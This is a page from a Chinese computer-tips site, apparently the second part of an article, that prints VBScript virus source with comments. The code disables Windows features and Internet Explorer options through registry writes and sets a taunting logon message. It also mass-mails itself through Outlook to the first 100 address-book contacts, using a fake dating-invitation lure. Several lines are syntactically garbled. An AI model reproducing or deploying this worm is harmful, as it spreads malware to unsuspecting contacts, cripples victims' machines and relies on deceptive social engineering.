vbs病毒_vbs病毒代码_u盘vbs病毒(2)

r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/winoldapp/disabled",1,"reg_dword" '修改注册表，禁止纯dos模式

r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/nosettaskbar",1,"reg_dword" '修改注册表，禁止“任务栏和开始”菜单

r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/noviewcontextmenu",1,"reg_dword" '修改注册表，禁止右键菜单

r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/nosetfolders",1,"reg_dword" '修改注册表，禁止控制面板

r.regwrite "hklm/software/classes/.reg/","txtfile" '修改注册表，禁止导入使用.reg文件，改为用txt文件的关联

r.regwrite "hklm/software/microsoft/windows/currentversion/winlogon/legalnoticecaption","警告" '设置开机提示框标题

r.regwrite "hklm/software/microsoft/windows/currentversion/winlogon/legalnoticetext","您中vbs脚本病毒了，哭吧~" '设置开机提示框文本内容

set ol=createobject("outlook.application" '创建outlook文件对象用于传播

on error resume next

for x=1 to 100

set mail=ol.createitem(0)

mail.to=ol.getnamespace("mapi".addresslists(1).addressentries(x) '用于向地址簿的前100名发送此 vbs病毒，可以算是简单弱智的蠕虫了吧~~

mail.subject="今晚你来吗？" '邮件主题

mail.body="朋友你好：您的朋友rose给您发来了热情的邀请。vbs病毒vbs病毒具体情况请阅读随信附件，祝您好运！ 同城约会网" '邮件内容

mail.attachments.add(dir2&"win32system.vbs"

mail.send

next

ol.quit

'下面是对internet explore 选项的恶意修改

r.regwrite "hkcu/software/policies/microsoft/internet explorer/restrictions/nobrowsercontextmenu",1,"reg_dword" '修改注册表，禁止鼠标右键

r.regwrite "hkcu/software/policies/microsoft/internet explorer/restrictions/nobrowseroptions",1,"reg_dword" '修改注册表，禁止internet选项

r.regwrite "hkcu/software/policies/microsoft/internet explorer/restrictions/nobrowsersaveas",1,"reg_dword" '修改注册表，禁止“另存为”

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/jisuanjixue/article-25220-2.html